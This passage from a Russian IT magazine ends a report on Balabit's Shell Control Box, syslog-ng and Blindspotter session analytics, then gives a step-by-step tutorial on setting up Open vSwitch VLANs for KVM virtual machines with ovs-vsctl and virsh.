админка  Shell  Control  Box,  в  которой  вык лючены  все  раз делы,  свя зан ные
с нас трой кой.

Для уста нов ки SCB пот ребу ется нас тро ить роуты таким обра зом, что бы тра‐ 
фик  про ходил  через  Shell  Control  Box.  Кли енты  при  этом  могут  находить ся
в дру гом VLAN, сер веры — тоже в раз ных VLAN.

Нель зя  не  упо мянуть  и  о  важ ном  огра ниче нии  SCB.  Что бы  реали зовать
запись и деталь ный ана лиз сес сий, инже нерам Balabit при ходит ся добав лять
под дер жку  каж дого  про токо ла  в  отдель нос ти.  Сей час  SCB  под держи вает
HTTP(S),  SSH,  Telnet,  RDP,  VNC  и  Citrix.  А  вот  если,  к  при меру,  нап рямую
соеди нить ся с базой дан ных SQL, то сес сия не запишет ся. Впро чем, имен но
о под дер жке SQL в Balabit дума ют как об одной из будущих воз можнос тей.

При том что основную при быль Balabit при носят решения катего рии Privileged
Access Management, syslog‐ng вов се не забыт и не заб рошен. Наобо рот — он
вов сю раз вива ется. Сей час syslog‐ng исполь зуют более ста мил лионов поль‐ 
зовате лей. Он уста нов лен в  том чис ле в CERN и,  что вызыва ет осо бую  гор‐ 
дость у раз работ чиков, в элек тро моби лях BMW i3.

По  впол не  понят ным  при чинам  основные  новов ведения  в  syslog‐ng
нацеле ны на осо бо круп ных кли ентов, в том чис ле на при мене ние в телеко ме.
Ради них, к при меру, была добав лена под дер жка MongoDB, Hadoop, Elastic‐
search  и  Apache  Kafka.  Нынеш няя  цель  коман ды  —  дос тичь  воз можнос ти
логиро вать до 3 мил лионов событий в секун ду, пос тупа ющих из 22 дата‐цен‐ 
тров (оче вид но, по заказу одно го из наибо лее тре бова тель ных кли ентов).

Вто рое  нап равле ние,  над  которым  идет  неп рерыв ная  работа,  —
это монито ринг. В сос тав syslog‐ng вхо дит прод винутый пар сер с под дер жкой
модулей  на Python. В  общем, фокус  коман ды — это  авто мати зация  поис ка,
под дер жка облачных тех нологий и авто мати чес кий пар синг логов.

BLINDSPOTTER
По мимо Shell Control Box, в арсе нале Balabit есть дру гой инте рес ный инс тру‐ 
мент — он называ ется Blindspotter. Это ана лити чес кий дви жок, который слу‐ 
жит  прос лой кой  меж ду  сис темой  менед жмен та  сес сий,  сис темой  ведения
логов и SIEM. Как это устро ено, мож но уви деть на схе ме.

Дан ные, получен ные при помощи Shell Control Box (Privileged Session Manage‐
ment на схе ме) и syslog‐ng или дру гой сис темы менед жмен та логов, пос тупа‐ 
ют в Blindspotter  (Privileged Account Analytics) и обра баты вают ся. Blindspotter
прис ваивает каж дому дей ствию поль зовате ля уро вень рис ка и переда ет эту
информа цию в SIEM.

Под разуме вает ся, что будет задан набор пра вил, руководс тву ясь которы‐ 
ми сис тема смо жет опо вещать адми нис тра тора об угро зе или авто мати чес ки
раз рывать сес сию. Помимо это го, Blindspotter эвристи чес ки опре деля ет, нас‐ 
коль ко дей ствия поль зовате ля похожи на его обыч ное поведе ние — где и как
он авто ризу ется,  с  какого  устрой ства,  в  какое  вре мя,  какие  запус кает  прог‐ 
раммы и так далее.

Blindspotter учи тыва ет даже ритм нажатия на кла виши и харак тер дви жений
кур сора мыши. Если эвристи чес кий алго ритм заподоз рит, что за кла виату рой
сидит кто‐то дру гой, адми нис тра тор может сра зу же получить пре дуп режде‐ 
ние,  что бы,  нап ример,  при нуди тель но  разор вать  сес сию  или  перей ти  к  ее
монито рин гу.

Ес ли пра вила заданы на отсле жива ние опре делен ных кон соль ных команд
или заголов ков окон, то это теоре тичес ки мож но попытать ся обой ти — тот же
bash  пре дос тавля ет  мас су  спо собов  замас кировать  наз вание  вызыва емой
коман ды.  Одна ко  для  это го  ата кующий  сна чала  дол жен  узнать  не  толь ко
о  фак те  монито рин га  (это  мож но  сде лать,  про щупав  под сеть  и  обна ружив
интерфейс админки SCB), но и о том, какие имен но коман ды отсле жива ются.
В любом слу чае сес сия будет записа на, что поможет рас сле довать инци дент
поз же.

Дру гая  цель Blindspotter,  по  сло вам  его  раз работ чиков, —  это  зас ветить
«теневой IT», в пер вую оче редь — самоволь ный обход политик безопас ности
внут ри  ком пании.  Нап ример,  ког да  лич ный  пароль  от  какой‐то  кри тичес ки
важ ной  сис темы  переда ется  от  поль зовате ля  к  поль зовате лю  или  ког да
в  резуль тате  безудер жно го  DevOps  соз дают ся  скрип ты,  и  в  логах  боль ше
не  замет но,  кто  человек,  а  кто  робот. Это  дей ству ет  и  в  обратную  сто рону:
если акка унт, с которо го обыч но работа ет скрипт, вдруг исполь зует ся челове‐ 
ком — это повод немед ленно пос мотреть, что про исхо дит.

В общем, ник то не пред лага ет исполь зовать Blindspotter как единс твен ное
средс тво  пре дот вра щения  угроз.  Зато  он  может  при нес ти  неоце нимую
помощь  в  форен зике.  Отко пать  что‐то  в  терабай тах  логов,  най ти  те  самые
сле пые мес та, в честь борь бы с которы ми он наз ван, — здесь его сила рас‐ 
кры вает ся по пол ной.

Ког да с пре зен таци ями было покон чено, я поп росил PR‐менед жера про вес ти
неболь шой тур по офи су. И не был разоча рован!

Ра бочие мес та выг лядят впол не орди нар но, тут ничего осо бен ного.

А вот эта перего вор ка — уже неч то выда ющееся. Надо думать, сюда при водят
самых серь езных кор поратив ных кли ентов. Кста ти, я одоб ряю не толь ко обои,
но и пос тер Black Sabbath сле ва.

Ком ната отды ха.

Уви дев наг ромож дение под телеви зором, я пос пешил подой ти поб лиже. Да,
бес порядок. Но  зато  в  кадр попали целых два Commodore 64,  как минимум
один ZX Spectrum, гитара от Guitar Hero и Raspberry Pi.

Ком ната для более активных игр. Нас толь ный фут бол, пинг‐понг, стен ка с тур‐ 
ником.

Ну и для тех, кто хотел бы здесь задер жать ся, — приг лашение на работу. :‐)

mailto:apismenny@gmail.com
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SYNACK

Вир туали зация  уже  дав но  ста ла  частью  инфраструк туры
прак тичес ки  каж дого  пред при ятия.  Любой  адми нис тра тор
исполь зует или хотя бы про бовал сер вер вир туали зации. Мы
уже  рас смат ривали,  как  раз вернуть  сер вер  вир туали зации,
поэто му  в  сегод няшней  статье  речь  пой дет  о  дру гом:
об Open vSwitch для объ еди нения физичес ких и вир туаль ных
сетевых узлов и его пре иму щес твах.

Пред ставь,  что  у  тебя есть  готовая инфраструк тура с  гипер визора ми и вир‐ 
туал ками  внут ри.  Задача:  пре дос тавить  опре делен ной  груп пе  вир туаль ных
машин  IP‐адрес  в  одном  широко веща тель ном  домене,  дру гой  груп пе  —
в дру гом, а самому  гипер визору — в  треть ем. То есть раз местить их в раз‐ 
личных сетях.

Та кая ситу ация может воз никнуть по раз ным при чинам. При веду нес коль ко
при меров.
1. Обя зан ности  в  орга низа ции  стро го  раз делены.  Есть  адми нис тра тор
домен ной сети  (AD),  есть адми нис тра тор дру гих  сер веров,  пре дос тавля‐ 
ющих  раз личные  сетевые  сер висы  орга низа ции  (DNS‐сер вер,  mail‐сер‐ 
вер, веб‐сер вер, сер вер баз дан ных и дру гие). Адми нис тра тор сер вера AD
хочет,  что бы  его  вир туаль ный  сер вер  был  в  одной  сети  с  кли ента ми,
при  этом  безопас ник  нас таивает,  что бы  сам  гипер визор  находил ся
в отдель ной сети сер веров (отдель ный широко веща тель ный домен).

2. Ты пре дос тавля ешь дос туп извне к вир туаль ной машине. Как обес печить
такой дос туп и зак рыть дос туп к любому дру гому узлу?

Са мый  прос той  спо соб  реали зовать  такую  схе му  —  это  вклю чить  один
сетевой интерфейс в одну сеть, дру гой в дру гую и нас тро ить мос ты соот ветс‐ 
тву ющим  обра зом.  Нель зя  ска зать,  что  такой  под ход  на  100%  пра виль ный
или  неп равиль ный,  но он  впол не рабочий. И  зна чит,  име ет  пра во  на жизнь.
А как быть тем, у кого все го один сетевой интерфейс? В любом слу чае наибо‐ 
лее пра виль ный метод, если есть ком мутатор вто рого уров ня (L2), — это раз‐ 
делить  сеть  на  логичес кие  сег менты.  Про ще  говоря,  пос тро ить  сеть
на VLAN’ах.

ЧТО НУЖНО ЗНАТЬ О VLAN
VLAN — это вир туаль ные сети, которые сущес тву ют на вто ром уров не модели
OSI  и  реали зуют ся  с  помощью  ком мутато ров  вто рого  уров ня.  Не  вда ваясь
в под робнос ти, мож но ска зать, что это груп па пор тов ком мутато ра, раз делен‐ 
ная на логичес кие сег менты сети. Каж дый такой сег мент име ет свой мар кер
(тег  PVID).  Каж дая  груп па  пор тов  VLAN’а  зна ет  о  сво ей  при над лежнос ти
к опре делен ной груп пе бла года ря этим тегам.

Су щес тву ет два типа пор тов: access и trunk. В access под клю чают ся конеч‐ 
ные  сетевые  устрой ства,  в  trunk  под клю чают ся  толь ко  дру гие  trunk‐пор ты.
Если с  компь юте ра пакет попада ет  на access‐порт,  то он помеча ется  тегом
(PVID),  и  далее  ком мутатор  отправ ляет  этот  пакет  толь ко  на  пор ты  точ но
с такими же VLAN ID или на trunk‐порт. При отправ ке кад ра конеч ному узлу тег
сни мает ся, так что они понятия не име ют о том, что находят ся в каком‐либо
VLAN’е.

Ког да  пакет  попада ет  на  trunk‐порт,  он  переда ется  как  есть,  тег  не  сни‐ 
мает ся. Таким обра зом, внут ри trunk‐пор та переда ются пакеты с нес коль кими
тегами (PVID).

Сто ит заметить, что access‐порт мож но нас тро ить так, что бы тег на выходе
не  сни мал ся,  тог да  для  при нятия  пакета  конеч ный  кли ент  дол жен  знать,
в  какой VLAN он под клю чен. Не все сетевые кар ты и/или ОС под держи вают
работу с VLAN по умол чанию. Как пра вило, это зависит от драй вера сетевой
кар ты.

ПРИСТУПАЕМ К НАСТРОЙКЕ
На поми наю,  что  в  одной  из  пре дыду щих  ста тей  мы  рас смат ривали  пос тро‐ 
ение вир туали зации на базе Ubuntu/Debian и KVM. Поэто му исхо дить будем
из  того,  что  сис тема  уста нов лена  и  нас тро ена,  есть  два  физичес ких
интерфей са,  один  под клю чен  к  вир туаль ному  мос ту  и  есть  вир туаль ные
машины, которые им поль зуют ся. Вто рой интерфейс не скон фигури рован.

Те перь вер немся к нашим VLAN’ам. Что бы наша идея работа ла, нам нуж но
под клю чить пер вый физичес кий интерфейс нашей машины к trunk‐пор ту ком‐ 
мутато ра, но при этом заб лагов ремен но раз делить (а точ нее, про теги ровать)
тра фик вир туалок по раз ным VLAN’ам.

Са мый  прос той  и  при митив ный  вари ант  это  сде лать  —  соз давать  вир‐ 
туаль ные  сетевые  кар ты,  каж дую  нас тра ивать  на  опре делен ный  VLAN  и  для
каж дой  вир туаль ной  кар ты  под нять  отдель ный  вир туаль ный  сетевой  мост,
через  который и под клю чать нуж ную вир туаль ную машину. Спо соб рабочий,
прав да есть нес коль ко недос татков:
1. Очень нек расивый вывод ifconfig.
2. Нет  воз можнос ти  на  лету  добавить  или  уда лить  VLAN.  Ина че  говоря,
для каж дого нового VLAN’а нуж но добав лять вир туаль ный интерфейс. Под‐ 
клю чать его в VLAN, вклю чать в мост. Оста нав ливать вир туаль ную машину
и под клю чать сеть через этот мост.

3. За нима ет мно го вре мени.

Но если у нас вир туаль ные машины, почему бы не вос поль зовать ся вир туаль‐ 
ным  ком мутато ром  вто рого  уров ня,  в  который  и  вот кнуть  все  вир туаль ные
про вод ки?  Это  решение  гораз до  луч ше,  поз воля ет  более  гиб ко  нас тро ить
сис тему. Ну и исполь зовать такой ком мутатор, как самый обыч ный!

Гуг ление  при вело  к  трем  наибо лее  популяр ным  решени ям.  Одно  вхо дит
в  сос тав  Hyper‐V,  который  плат ный  и  не  уме ет  OpenFlow.  Вто рое:  MikroTik,
с помощью которо го мож но не толь ко соз дать вир туаль ный ком мутатор, но и
перенес ти его кон фигура цию на желез ный. Отпу гива ет толь ко, что он базиру‐ 
ется на пол ноцен ной опе раци онной сис теме — RouterOS. А это уже сов сем
не то. И наконец, встре чай — Open vSwitch.

OPEN VSWITCH
Open  vSwitch  —  прог рам мный  мно гоуров невый  ком мутатор  с  откры тым
исходным тек стом, пред назна чен ный для работы с гипер визора ми. Работа ет
в Linux начиная с вер сии 2.6.15. Основные воз можнос ти ком мутато ра:

учет  тра фика,  в  том  чис ле  про ходя щего  меж ду  вир туаль ными  машина ми
с исполь зовани ем SPAN/RSPAN, sFlow и Netflow;

•

под дер жка VLAN (IEEE 802.1q);•
при вяз ка  к  кон крет ным  физичес ким  интерфей сам  и  балан сиров ка  наг‐ 
рузки по исхо дящим MAC‐адре сам;

•

ра бота  на  уров не  ядра,  сов мести мость  с  прог рам мным  мос том  Linux
Bridge;

•

под держи вает OpenFlow для управле ния логикой ком мутации;•
с  мень шей  про изво дитель ностью,  чем  в  режиме  на  уров не  ядра,  Open
vSwitch может работать как обыч ное при ложе ние.

•

Open vSwitch исполь зует ся в сос таве Xen Server, Xen Cloud Platform, KVM, Vir‐
tualBox, QEMU, ProxMox (начиная с 2.3).

В  качес тве  наг лядно го  при мера  будем  вир туали зиро вать  сер вер  Kerio
9.1.4. Итак, что бы понимать,  как сей час все устро ено до передел ки. Желез‐ 
ный сер вер Kerio — вто рой сер вер вир туали зации, в котором работа ет нес‐ 
коль ко сетевых сер висов орга низа ции: кли ент ские сети net 1, net 2, net 3 и net 4,
сер верная  сеть  net 5.  Каж дый  сег мент  сети  под клю чен  в  отдель ный  сетевой
интерфейс «желез ного» Kerio.

Схе ма, которую будем реали зовы вать

На поми наю:  исхо дим  из  того,  что  сер вер  вир туали зации  уже  уста нов лен
и нас тро ен. Так же уста нов лен пакет bridge‐utils и нас тро ен сетевой мост br0.
В  сис теме  при сутс тву ют  некото рые  вир туаль ные  машины,  под клю чен ные
через этот сетевой мост.

УСТАНОВКА И ПЕРВОНАЧАЛЬНАЯ НАСТРОЙКА
На самом деле уста нов ка Open vSwitch сво дит ся к уста нов ке одно го пакета:

$ sudo apt‐get install openvswitch‐switch

Пос ле  уста нов ки  никаких изме нений не про исхо дит,  кро ме  запус ка  сер виса
OVS. Соз дадим ком мутатор:

$ sudo ovs‐vsctl add‐br br1

Пос мотрим, что к нему под клю чено:

$ sudo ovs‐vsctl show.
 0b58d70f‐e503‐4ed2‐833c‐e24503f2e45f
 Bridge "br1"
     Port "br1"
         Interface "br1"
             type: internal
   ovs_version: "2.5.2"

Мы  видим,  что  соз дан  ком мутатор  br1  с  под клю чен ным  интерфей сом  .
Если тре бует ся, мож но этот порт нас тро ить, нап ример задать ему опре делен‐ 
ный VLAN или порт как trunk с огра ниче ниями по кон крет ным VLAN’ам. Далее
под клю чим к нашему ком мутато ру сво бод ный сетевой интерфейс ОС.

br1

$ sudo ovs‐vsctl add‐port br1 eth0

Схе ма под клю чения OVS и физичес кого интерфей са

По  умол чанию  этот  порт  начина ет  работать  как  обыч ный  и  тран ковый  порт,
про пус кая все VLAN’ы. Далее мож но сде лать этот порт тран ковым для ука зан‐ 
ных VLAN  ID. Или мож но оста вить как есть,  тог да порт будет про пус кать все
VLAN ID. У нас струк тура боль шая, сеть может каж дый день менять ся, поэто му
оста вим как есть.

Сле дующим шагом обну ляем кон фигура цию интерфей са eth 0 и отклю чаем
его от TCP/IP‐сте ка опе раци онной сис темы:

$ sudo ifconfig eth0 0

Да лее  вмес то  eth 0  под клю чаем  к  TCP/IP‐сте ку  ОС  новый  внут ренний
интерфейс   ком мутато ра br1. При ятная новость: OVS авто мати чес ки при‐ 
меня ет  и  сох раня ет  свою  кон фигура цию,  поэто му  ничего  осо бо  делать
не при дет ся. Интерфейс OVS управля ется, как обыч ный интерфейс опе раци‐ 
онной  сис темы,  а  зна чит,  идем  в    и  дела ем  необ‐ 
ходимые изме нения — меня ем   на  ,   пишем как manual:

br1

/etc/network/interfaces
eth0 br1 eth0

auto eth0
iface eth0 inet manual
auto br1
iface br1 inet static
   address 192.168.*.160
   netmask 255.255.255.0
   gateway 192.168.*.1
   dns‐nameservers 192.168.*.2

И все! Никаких допол нитель ных нас тро ек bridge, как в слу чае с мос том.
Под клю чаем наш интерфейс  к пор ту  ком мутато ра,  на  котором нас трой ки

такие: trunk‐порт для всех VLAN, для VLAN ID 1 тра фик не тегиро ван. То есть
порт про пус кает тран ком все VLAN ID и тра фик без VLAN вооб ще. Запус каем
сеть  коман дой  ,  пос ле  это го  мы  в  сети.  В  некото рых  слу чаях
это может не сра ботать из‐за прав ки фай ла нас тро ек сети. Тог да мож но поп‐ 
робовать запус тить интерфейс вот так:

ifup  br1

$ sudo ifconfig br1 up

Про веря ем пин гами дос тупность.
Пос мотрим, что изме нилось у нас на вир туаль ном ком мутато ре:

$ sudo ovs‐vsctl show
0b58d70f‐e503‐4ed2‐833c‐e24503f2e45f
Bridge "br1"
   Port "eth0"
       Interface "eth0"
   Port "br1"
       Interface "br1"
           type: internal
ovs_version: "2.5.2"

Как  видим,  в  ком мутатор  под клю чено  уже  два  интерфей са:  физичес кий
интерфейс ком мутато ра eth 0 и интерфейс опе раци онной сис темы br1.

Те перь зай мем ся вир туаль ными машина ми.

НАСТРОЙКА ГРУПП АДРЕСОВ KVM
Как же теперь под клю чить к это му ком мутато ру еще и вир туаль ные машины?
Есть два стан дар тных пути. Пер вый нам уже зна ком — добав ляем порт в ком‐ 
мутатор  коман дой  ,  затем  добав ляем  этот  порт  в  вир‐ 
туаль ную машину.

ovs‐vsctl add‐port

Вто рой путь более гиб кий. Он зак люча ется в соз дании групп пор тов KVM
для  OVS.  Каж дая  груп па  будет  при над лежать  к  соот ветс тву юще му  VLAN  ID.
К сожале нию, нас трой ка таких групп из Archipel или virt‐manager пока недос‐ 
тупна.  Поэто му  пот ребу ется  вруч ную  под готовить  XML‐файл,  опи сыва ющий
необ ходимые груп пы, и пос ле это го с помощью virsh при менить его.

<network>
 <name>ovs‐lan</name>
 <forward mode='bridge'/>
 <bridge name='br1'/>
 <virtualport type='openvswitch'/>
 <portgroup name='vlan‐10'>
   <vlan>
     <tag id='10'/>
   </vlan>
 </portgroup>
 <portgroup name='vlan‐20'>
   <vlan>
     <tag id='20'/>
   </vlan>
 </portgroup>
 <portgroup name='vlan‐30'>
   <vlan>
     <tag id='30'/>
   </vlan>
 </portgroup>
 <portgroup name='vlan‐40'>
   <vlan>
     <tag id='40'/>
   </vlan>
 </portgroup>
 <portgroup name='vlan‐50'>
   <vlan>
     <tag id='50'/>
   </vlan>
 </portgroup>
 <portgroup name='vlan‐90'>
   <vlan>
     <tag id='90'/>
   </vlan>
 </portgroup>
 <portgroup name='trunk‐allvlan'>
   <vlan trunk='yes'>
   </vlan>
 </portgroup>
 <portgroup name='trunk'>
   <vlan trunk='yes'>
 <tag id='30'/>
 <tag id='40'/>
 <tag id='50'/>
   </vlan>
 </portgroup>

</network>

При меня ем кон фигура цию:

$ sudo virsh net‐define /path_to/file.xml

Да лее запус каем саму сеть:

$ sudo virsh net‐start ovs‐lan

И дела ем запуск авто мати чес ким:

$ sudo virsh net‐autostart ovs‐lan

Для уда ления ненуж ных сетей мож но вос поль зовать ся Archipel  (раз дел NET‐
WORK), virt‐manager или выпол нить коман ды

$ virsh net‐destroy ovs‐network
$ virsh net‐autostart ‐‐disable ovs‐network
$ virsh net‐undefine ovs‐network

Да лее  перехо дим  к  соз данию  вир туалок  через  virt‐manager  или  откры ваем
сущес тву ющую оста нов ленную вир туаль ную машину.

Под клю чение вир туаль ных сетевых машин к пор ту ком мутато ра OVS

ПОДКЛЮЧЕНИЕ ВИРТУАЛЬНЫХ МАШИН
От кры ваем  двой ным  кли ком  тре буемую  вир туаль ную  машину.  Перехо дим
по кноп ке «Показать вир туаль ное обо рудо вание». Выбира ем NIC.

Нас трой ка сетево го интерфей са ВМ в virt‐manager

Да лее выбира ем «Соз дать на базе» и ука зыва ем нашу соз данную сеть 
. Появ ляет ся груп па пор тов. Здесь мож но ничего не выбирать. Тог да у нас

будет  обыч ный  trunk‐порт  с  тра фиком  для  всех  VLAN  ID  и  обыч ный  тра фик
не VLAN. Мож но  при вязать  его  к  одно му VLAN и  получать  толь ко одну  сеть.
В общем, в зависи мос ти от задачи.

ovs‐
lan

Мы же хотим нас тро ить Kerio, но на опре делен ных VLAN ID. Здесь сущес‐ 
тву ет  нес коль ко  вари антов. Мож но  соз давать  нес коль ко  сетевых  интерфей‐ 
сов  с  раз ными  VLAN  ID.  Или  соз дать  trunk‐порт  и  внут ри  Kerio  «нарезать»
VLAN. Этот  вари ант  пред почти тель нее бла года ря  воз можнос ти  более  гиб ко
манев рировать,  не  вык лючая  и  не  перезаг ружая  саму  вир туаль ную  машину
для при мене ния нас тро ек.

Пос ле  того  как  все  успешно  нас тро ено,  запус каем  вир туаль ную  машину
и смот рим, что у нас изме нилось на нашем ком мутато ре:

d3ff1e72‐0828‐4e38‐b5bf‐3f5f02d04c70
Bridge "br1"
   Port "eth0"
     Interface "eth0"
 Port "br1"
     Interface "br1"
         type: internal
 Port "vnet5"
     trunks: [10, 20, 30, 40, 50, 60, 70, 80, 90]
     Interface "vnet5"

Ви дим, что вир туаль ная машина авто мати чес ки под клю чилась к пор ту  .vnet50
Пе рехо дим к интерфей су управле ния Kerio. Идем в раз дел «Интерфей сы»,

далее выбира ем наш интерфейс, который под клю чили к VLAN. Откры ваем его
двой ным кли ком, выбира ем вклад ку «Вир туаль ная ЛВС → Добавить или уда‐ 
лить вир туаль ные ЛВС» и перечис ляем нуж ные VLAN’ы. Пос ле это го жмем ОK,
и у нас появ ляют ся тре буемые вир туаль ные интерфей сы. Далее нас тра иваем
их, как обыч ные физичес кие интерфей сы, под клю чен ные нап рямую в нуж ные
ком мутато ры.

Об зор интерфей сов Kerio с под клю чен ными VLAN ID

ЗАКЛЮЧЕНИЕ
Опи сан ная в статье кон фигура ция поз воля ет очень гиб ко и быс тро добав лять
любое  количес тво  сетевых  интерфей сов  прак тичес ки  любой  кон фигура ции.
Таким же обра зом мож но перено сить вир туаль ные сер веры в сети кли ентов,
дер жа сам гипер визор далеко. Как видишь, нас трой ка не слож нее, чем стан‐ 
дар тный сетевой мост, а фун кци ональ ность нам ного боль ше!
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